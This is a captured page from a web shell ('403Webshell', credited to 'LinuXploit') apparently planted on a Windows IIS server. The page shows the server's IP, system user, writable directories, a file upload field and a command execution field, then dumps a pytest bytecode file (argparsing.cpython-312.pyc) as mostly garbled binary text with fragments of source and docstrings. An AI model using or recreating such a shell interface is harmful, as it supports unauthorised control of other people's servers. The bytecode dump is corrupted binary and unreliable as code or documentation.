403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/_pytest/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/_pytest/config/__pycache__/argparsing.cpython-312.pyc
�

��HgRP���ddlmZddlZddlmZddlZddlZddlmZddlmZddlm	Z	ddlm
Z
ddlmZdd	lmZdd
lm
Z
ddlmZddlmZddlZdd
lmZddlmZdZGd�d�Ze�Ze
Gd�d��Z				dd�ZGd�de�ZGd�d�ZGd�d�ZGd�dej>�Z Gd�dejB�Z"y) �)�annotationsN)�gettext)�Any)�Callable)�cast)�final)�List)�Literal)�Mapping)�NoReturn)�Sequence)�
UsageError)�check_ispytest�file_or_dirc��eZdZdd�Zy)�NotSetc��y)Nz<notset>���selfs �;C:\Python312\Lib\site-packages\_pytest/config/argparsing.py�__repr__zNotSet.__repr__s���N��return�str)�__name__�
__module__�__qualname__rrrrrrs��rrc���eZdZUdZdZded<		ddd�							dd�Zdd�Z	d							dd	�Zdd
�Z		d					dd�Z
dd�Z	d							dd
�Z	d					dd�Z
	d					dd�Zdef									dd�Zy)�Parserz�Parser for command line arguments and ini-file values.

    :ivar extra_info: Dict of generic param -> value to display in case
        there's an error processing the command line arguments.
    N�
str | None�progF��	_ispytestc��t|�td|d��|_g|_||_||_i|_g|_i|_y)NzCustom optionsT��parserr%)	r�OptionGroup�
_anonymous�_groups�_processopt�_usage�_inidict�	_ininames�
extra_info)r�usage�
processoptr%s    r�__init__zParser.__init__,sH��	�y�!�%�&6�t�t�T���*,���%������@B��
�$&���*,��rc�Z�|jr|jr|j|�yyy�N)r,�dest)r�options  r�
processoptionzParser.processoption<s*������{�{�� � ��(��rc�
�|jD]}|j|k(s�|cSt|||d��}d}t|j�D]\}}|j|k(s�n|jj	|dz|�|S)aGet (or create) a named option Group.

        :param name: Name of the option group.
        :param description: Long description for --help output.
        :param after: Name of another group, used for ordering --help output.
        :returns: The option group.

        The returned group object has an ``addoption`` method with the same
        signature as :func:`parser.addoption <pytest.Parser.addoption>` but
        will be shown in the respective group in the output of
        ``pytest --help``.
        Tr'r�)r+�namer)�	enumerate�insert)rr;�description�after�group�i�grps       r�getgroupzParser.getgroupAs����\�\�	�E��z�z�T�!���	��D�+�d�d�K��
������-�	�F�A�s��x�x�5� ��	�	
�����A��E�5�)��rc�<�|jj|i|��y)aRegister a command line option.

        :param opts:
            Option names, can be short or long options.
        :param attrs:
            Same attributes as the argparse library's :meth:`add_argument()
            <argparse.ArgumentParser.add_argument>` function accepts.

        After command line parsing, options are available on the pytest config
        object via ``config.option.NAME`` where ``NAME`` is usually set
        by passing a ``dest`` attribute, for example
        ``addoption("--long", dest="NAME", ...)``.
        N)r*�	addoption)r�opts�attrss   rrEzParser.addoption[s��	"����!�!�4�1�5�1rc���ddlm}|j�|_||j�|D�cgc]}t	j
|���}}|jj
||��Scc}w)Nr)�try_argcomplete��	namespace)�_pytest._argcompleterI�
_getparser�	optparser�os�fspath�
parse_args)r�argsrKrI�x�strargss      r�parsezParser.parseks[��
	9����*�������'�)-�.�A�2�9�9�Q�<�.��.��~�~�(�(��I�(�F�F��/s�A-c���ddlm}t||j|j��}g|j
�|j�}|D]}}|js�|jxs|j}|j|�}|jD]4}|j�}|j�}	|j|i|	���6�|jtd��}
||
_|S)Nr)�filescompleter)r#�*)�nargs)rLrW�MyOptionParserr0r#r+r*�optionsr>r;�add_argument_group�namesrG�add_argument�FILE_OR_DIR�	completer)rrWrN�groupsr@�desc�arggroupr7�n�a�file_or_dir_args           rrMzParser._getparserws���7�"�4����t�y�y�I�	�1�4�<�<�1����1���	3�E��}�}��(�(�6�E�J�J��$�7�7��=��#�m�m�3�F�����A�����A�)�H�)�)�1�2��2�3�		3�$�0�0��C�0�H��%3��!��rc���|j||��}|jj�D]\}}t|||��t	t
tt|t��S)NrJ)	rU�__dict__�items�setattrrr	r�getattrr_)rrRr7rK�parsedoptionr;�values       r�parse_setoptionzParser.parse_setoption�s\���z�z�$�)�z�<��'�0�0�6�6�8�	)�K�D�%��F�D�%�(�	)��D��I�w�|�[�A�B�Brc�.�|j||��dS)zbParse the known arguments at this point.

        :returns: An argparse namespace object.
        rJr)�parse_known_and_unknown_args)rrRrKs   r�parse_known_argszParser.parse_known_args�s���0�0���0�K�A�N�Nrc��|j�}|D�cgc]}tj|���}}|j||��Scc}w)aParse the known arguments at this point, and also return the
        remaining unknown arguments.

        :returns:
            A tuple containing an argparse namespace object for the known
            arguments, and a list of the unknown arguments.
        rJ)rMrOrPrq)rrRrKrNrSrTs      rrpz#Parser.parse_known_and_unknown_args�sF���O�O�%�	�)-�.�A�2�9�9�Q�<�.��.��)�)�'�Y�)�G�G��/s�Ac��|dvsJ�|turt|�}|||f|j|<|jj	|�y)aRRegister an ini-file option.

        :param name:
            Name of the ini-variable.
        :param type:
            Type of the variable. Can be:

                * ``string``: a string
                * ``bool``: a boolean
                * ``args``: a list of strings, separated as in a shell
                * ``linelist``: a list of strings, separated by line breaks
                * ``paths``: a list of :class:`pathlib.Path`, separated as in a shell
                * ``pathlist``: a list of ``py.path``, separated as in a shell

            For ``paths`` and ``pathlist`` types, they are considered relative to the ini-file.
            In case the execution is happening without an ini-file defined,
            they will be considered relative to the current working directory (for example with ``--override-ini``).

            .. versionadded:: 7.0
                The ``paths`` variable type.

            .. versionadded:: 8.1
                Use the current working directory to resolve ``paths`` and ``pathlist`` in the absence of an ini-file.

            Defaults to ``string`` if ``None`` or not passed.
        :param default:
            Default value if no ini-file option exists but is queried.

        The value of ini-variables can be retrieved via a call to
        :py:func:`config.getini(name) <pytest.Config.getini>`.
        )N�string�paths�pathlistrR�linelist�boolN)�NOT_SET�get_ini_default_for_typer.r/�append)rr;�help�type�defaults     r�addiniz
Parser.addini�sM��N�X�X�X�X��g��.�t�4�G�#�T�7�3��
�
�d�������d�#r�NN)r1r"r2z!Callable[[Argument], None] | Noner%rxr�None)r7�Argumentrr���N)r;rr>rr?r"rr)�rFrrGrrr�r5)rR� Sequence[str | os.PathLike[str]]rK�argparse.Namespace | Noner�argparse.Namespace)rrZ)rRr�r7r�rKr�r�	list[str])rRr�rKr�rz$tuple[argparse.Namespace, list[str]])
r;rr|rr}�ILiteral['string', 'paths', 'pathlist', 'args', 'linelist', 'bool'] | Noner~rrr�)rrr�__doc__r#�__annotations__r3r8rCrErUrMrnrqrpryrrrrr!r!"s{����D�*��!�8<�-�
 �-��-�6�-�
�-�
�
-� )�EI����&)��7A��	��42�&04�
G�.�
G�-�
G�
�	
G��.04�		C�.�	C�#�	C�-�		C�

�	C�04�	O�.�	O�-�	O�
�		O�04�H�.�H�-�H�
.�	H�*��
,$��,$��,$��	,$��
,$�
�,$rr!c�"�|�y|dvrgS|dk(ryy)zp
    Used by addini to get the default value for a given ini-option type, when
    default is not supplied.
    r�)rurvrRrwrxFr)r}s rrzrz�s'���|��	
�:�	:��	�	
����rc� �eZdZdZdd�Zdd�Zy)�
ArgumentErrorzURaised if an Argument instance is created with invalid or
    inconsistent arguments.c�2�||_t|�|_yr5)�msgr�	option_id)rr�r7s   rr3zArgumentError.__init__�s������V���rc�j�|jrd|j�d|j��S|jS)Nzoption �: )r�r�rs r�__str__zArgumentError.__str__�s.���>�>��T�^�^�,�B�t�x�x�j�9�9��8�8�OrN)r�rr7zArgument | strrr�r)rrrr�r3r�rrrr�r��s���%�rr�c�8�eZdZdZdd�Zd	d�Zd
d�Zdd�Zdd�Zy)
r�z�Class that mimics the necessary behaviour of optparse.Option.

    It's currently a least effort implementation and ignoring choices
    and integer prefixes.

    https://docs.python.org/3/library/optparse.html#optparse-standard-option-types
    c���||_g|_g|_	|d|_	|d|_|j
|�|jd�}|r||_y|jr(|jdddjdd�|_y	|jdd	d|_y#t$rY��wxYw#t$rY��wxYw#t$r}d
|_td|�|�d}~wwxYw)z5Store params in private vars for use in add_argument.r}r~r6r�N�-�_r:z???zneed a long or short option)�_attrs�_short_opts�
_long_optsr}�KeyErrorr~�_set_opt_strings�getr6�replace�
IndexErrorr�)rr]rGr6�es     rr3zArgument.__init__s������&(���%'���	��f�
�D�I�	� ��+�D�L�	
���e�$� �9�9�V�,����D�I�
�_�_�����*�1�2�.�6�6�s�C�@�D�I�
P� �,�,�Q�/���3��	���	��	��
�	��	���
P�!��	�#�$A�4�H�a�O��
P�s:�
B%�
B4�
C�%	B1�0B1�4	C�?C�	C%�C � C%c�4�|j|jzSr5)r�r�rs rr]zArgument.names#s�����$�/�/�1�1rc���dj�}|j|j�|D]}	t||�|j|<�|jS#t
$rY�6wxYw)Nzdefault dest help)�splitr{r6rkr��AttributeError)rrG�attrs   rrGzArgument.attrs&si��#�)�)�+��
���T�Y�Y���	�D�
�$+�D�$�$7����D�!�	�
�{�{���"�
��
�s�A�	A%�$A%c�X�|D]�}t|�dkrtd|�d�|��t|�dk(r<|ddk(r|ddk7std|�d�|��|jj|��k|ddd	k(r|ddk7std
|�d�|��|jj|���y)
zhDirectly from optparse.

        Might not be necessary as this is passed to argparse later on.
        r�zinvalid option string z&: must be at least two characters longrr�r:zinvalid short option string z/: must be of the form -x, (x any non-dash char)�--zinvalid long option string z*: must start with --, followed by non-dashN)�lenr�r�r{r�)rrF�opts   rr�zArgument._set_opt_strings1s���
�	,�C��3�x�!�|�#�,�S�G�4;�;����
�S��Q���A��#�
�#�a�&�C�-�'�6�s�g�>H�H����
� � �'�'��,��A�a��D�(�S��V�s�]�'�5�c�W�=C�C����
���&�&�s�+�-	,rc��g}|jr|dt|j�zgz
}|jr|dt|j�zgz
}|dt|j�zgz
}t	|d�r|dt|j
�zgz
}t	|d�r|dt|j�zgz
}djd	j|��S)
Nz
_short_opts: z_long_opts: zdest: r}ztype: r~z	default: zArgument({})�, )	r��reprr�r6�hasattrr}r~�format�join)rrRs  rrzArgument.__repr__Ns���������_�t�D�,<�,<�'=�=�>�>�D��?�?��^�d�4�?�?�&;�;�<�<�D���D����O�+�,�,���4�� ��X��T�Y�Y��/�0�0�D��4��#��[�4����#5�5�6�6�D��$�$�T�Y�Y�t�_�5�5rN)r]rrGrrr�)rr�)rzMapping[str, Any])rFz
Sequence[str]rr�r)	rrrr�r3r]rGr�rrrrr�r��s!���P�62�	�,�:6rr�c�P�eZdZdZ		d	dd�									d
d�Zdd�Zdd�Zdd
d�Zy)r)z,A group of options shown in its own section.NFr$c�R�t|�||_||_g|_||_yr5)rr;r>r[r()rr;r>r(r%s     rr3zOptionGroup.__init___s)��	�y�!���	�&���')�����rc��t|�jd�|jD��}|rtd|�d���t	|i|��}|j|d��y)aJAdd an option to this group.

        If a shortened version of a long option is specified, it will
        be suppressed in the help. ``addoption('--twowords', '--two-words')``
        results in help showing ``--two-words`` only, but ``--twowords`` gets
        accepted **and** the automatic destination is in ``args.twowords``.

        :param opts:
            Option names, can be short or long options.
        :param attrs:
            Same attributes as the argparse library's :meth:`add_argument()
            <argparse.ArgumentParser.add_argument>` function accepts.
        c3�JK�|]}|j�D]}|����y�wr5)r])�.0r�r;s   r�	<genexpr>z(OptionGroup.addoption.<locals>.<genexpr>{s-����*
��S�Y�Y�[�*
�-1�D�*
��*
�s�!#z
option names z already addedF��
shortupperN)�set�intersectionr[�
ValueErrorr��_addoption_instance)rrFrG�conflictr7s     rrEzOptionGroup.addoptionmsd���t�9�)�)�*
� �L�L�*
�
����}�X�J�n�E�F�F��4�)�5�)��� � ��E� �:rc�@�t|i|��}|j|d��y)NTr�)r�r�)rrFrGr7s    r�
_addoptionzOptionGroup._addoption�s$���4�)�5�)��� � ��D� �9rc��|s8|jD])}|ddk(s�|dj�s� td��|jr|jj	|�|j
j
|�y)Nrr�r:zlowercase shortoptions reserved)r��islowerr�r(r8r[r{)rr7r�r�s    rr�zOptionGroup._addoption_instance�sm����)�)�
H���q�6�S�=�S��V�^�^�%5�$�%F�G�G�
H��;�;��K�K�%�%�f�-������F�#rr�)
r;rr>rr(z
Parser | Noner%rxrr�r�)F)r7r�r�rxrr�)rrrr�r3rEr�r�rrrr)r)\s[��6�
� $�	� �
������	��
�
��;�,:�$rr)c���eZdZ		d							d�fd�
Zdd�Z		d					d	d�Zejdkr				d
d�Z�xZ	S�xZ	S)rZc�|��||_t�|�	||jdtdd��|r||_yi|_y)NF�@)r#r1�add_help�formatter_class�allow_abbrev�fromfile_prefix_chars)�_parser�superr3r-�DropShorterLongHelpFormatterr0)rr(r0r#�	__class__s    �rr3zMyOptionParser.__init__�sE������
�����-�-��8��"%�
	�	
�)3�*�����rc��|j�d|��}t|jd�r|�d|jj�d�}t	|j�|z��)z1Transform argparse error message into UsageError.z	: error: �_config_source_hintz (�))r#r�r�r�r�format_usage)r�messager�s   r�errorzMyOptionParser.error�s[������9�W�I�.���4�<�<�!6�7��E��D�L�L�<�<�=�Q�?�C���*�*�,�s�2�3�3rc��|j||�\}}|r�|D]�}|s�|ddk(s�djdj|��g}t|jj��D]\}}|j
d|�d|����|jdj|����t|t�j|�|S)z(Allow splitting of positional arguments.rr�zunrecognized arguments: {}� z  r��
)rqr�r��sortedr0rir{r�rkr_�extend)	rrRrK�parsed�unrecognized�arg�lines�k�vs	         rrQzMyOptionParser.parse_args�s��� $�4�4�T�9�E�����#�
1���3�q�6�S�=�4�;�;�C�H�H�\�<R�S��E�!'�t���'<�'<�'>� ?�4���1����r�!��B�q�c�]�3�4��J�J�t�y�y��/�0�
1�
�F�K�(�/�/��=��
r)��	c�~�|sy|d|jvry||jvr|j|}||dfSt|�dk(ryd|vr7|jdd�\}}||jvr|j|}|||fS|js|jd�sn|j
|�}t|�dkDr;td�}djd�|D��}|j|||d�z�nt|�dk(r|\}|S|jj|�r
|jsyd	|vryd|dfS)
Nrr:�=r�z4ambiguous option: %(option)s could match %(matches)sr�c3�(K�|]
\}}}|���y�wr5r)r�r�r7s   rr�z1MyOptionParser._parse_optional.<locals>.<genexpr>�s����'Q�<�1�f�a��'Q�s�)r7�matchesr�)
�prefix_chars�_option_string_actionsr�r�r��
startswith�_get_option_tuplesrr�r��_negative_number_matcher�match�_has_negative_number_optionals)	r�
arg_string�action�
option_string�explicit_arg�
option_tuplesr�r[�option_tuples	         r�_parse_optionalzMyOptionParser._parse_optional�sa�����!�}�D�$5�$5�5���T�8�8�8��4�4�Z�@���z�4�/�/��:��!�#���j� �.8�.>�.>�s�A�.F�+�
�|� �D�$?�$?�?�!�8�8��G�F�!�=�,�>�>�� � �
�(=�(=�d�(C� $� 7� 7�
� C�
��}�%��)�!�N��C�#�i�i�'Q�=�'Q�Q�G��J�J�s�
�w�%O�O�P���'�1�,�&3�O�\�'�'��,�,�2�2�:�>��:�:���j� ����T�)�)rr�)r(r!r0zdict[str, Any] | Noner#r"rr�)r�rrr)rRzSequence[str] | NonerKr�rr�)r�rrz5tuple[argparse.Action | None, str, str | None] | None)
rrrr3r�rQ�sys�version_infor��
__classcell__�r�s@rrZrZ�s����-1��	;��;�*�;��	;�

�;�&4�&*�/3��"��-��
�	�&���&� �!	*�!�!	*�
B�!	*�!rrZc�6��eZdZdZd�fd�Zd�fd�Zd�Z�xZS)r�a+Shorten help for long options that differ only in extra hyphens.

    - Collapse **long** options that are the same except for extra hyphens.
    - Shortcut if there are only two options and one of them is a short one.
    - Cache result on the action object as this is called at least 2 times.
    c�n��d|vr!tjj�|d<t�|�|i|��y)N�width)�_pytest�_io�get_terminal_widthr�r3)rrR�kwargsr�s   �rr3z%DropShorterLongHelpFormatter.__init__�s3����&� �%�k�k�<�<�>�F�7�O�
���$�)�&�)rc���t�|�|�}|r
|ddk7r|St|dd�}|r|S|jd�}t	|�dk(r+t	|d�dk(st	|d�dk(r	||_|Sg}i}|D]u}t	|�dk(s|ddk(r�|j
d�std	|�d
�|��|dd}|jdd�}	|	|vst	||	�t	|�ks�q|||	<�w|D]s}t	|�dk(s|ddk(r|j|�|dd|j|jdd��k(s�R|j|jddd���udj|�}
|
|_|
S)
Nrr��_formatted_action_invocationr�r�r:r�r�z&long optional argument without "--": [�]r�r�)r��_format_action_invocationrkr�r�rr�r�r�r{r�r�)rr��orgstr�resr[�return_list�
short_longr7�xxoption�	shortened�formatted_action_invocationr�s           �rrz6DropShorterLongHelpFormatter._format_action_invocation�s������2�6�:���f�Q�i�3�&��M�!�&�*H�$�O����J��,�,�t�$���w�<�1��#�g�a�j�/�Q�"6�#�g�a�j�/�Q�:N�28�F�/��M���%'�
��	1�F��6�{�a��6�!�9��#3���$�$�T�*�#�<�V�H�A�F�����a�b�z�H� �(�(��b�1�I��
�*�c�*�Y�2G�.H�3��L�/�)1�
�9�%�	1��	@�F��6�{�a��6�!�9��#3��"�"�6�*��a�b�z�Z�^�^�F�N�N�3��,C�D�D��"�"�6�>�>�#�s�A�#>�?�		@�
'+�i�i��&<�#�.I��+�*�*rc��ddl}g}|j�D]1}|j|j|j	�|���3|S)z}Wrap lines after splitting on original newlines.

        This allows to have explicit line breaks in the help text.
        rN)�textwrap�
splitlinesr��wrap�strip)r�textr�rr��lines      r�_split_linesz)DropShorterLongHelpFormatter._split_linessD��
	����O�O�%�	=�D��L�L����t�z�z�|�U�;�<�	=��r)rRrr�rrr�)r�zargparse.Actionrr)rrrr�r3rrr�r�s@rr�r��s����*�$+�L
rr�)r}r�rr)#�
__future__r�argparserrOr��typingrrrrr	r
rrr
�_pytest._ior��_pytest.config.exceptionsr�_pytest.deprecatedrr_rryr!rz�	Exceptionr�r�r)�ArgumentParserrZ�
HelpFormatterr�rrr�<module>rs���"���	�
�����������0�-�����
�(���y$�y$��y$�x�
S����"�I��Z6�Z6�z2$�2$�jU*�X�,�,�U*�p>�8�#9�#9�>r

Youez - 2016 - github.com/yon3zu
LinuXploit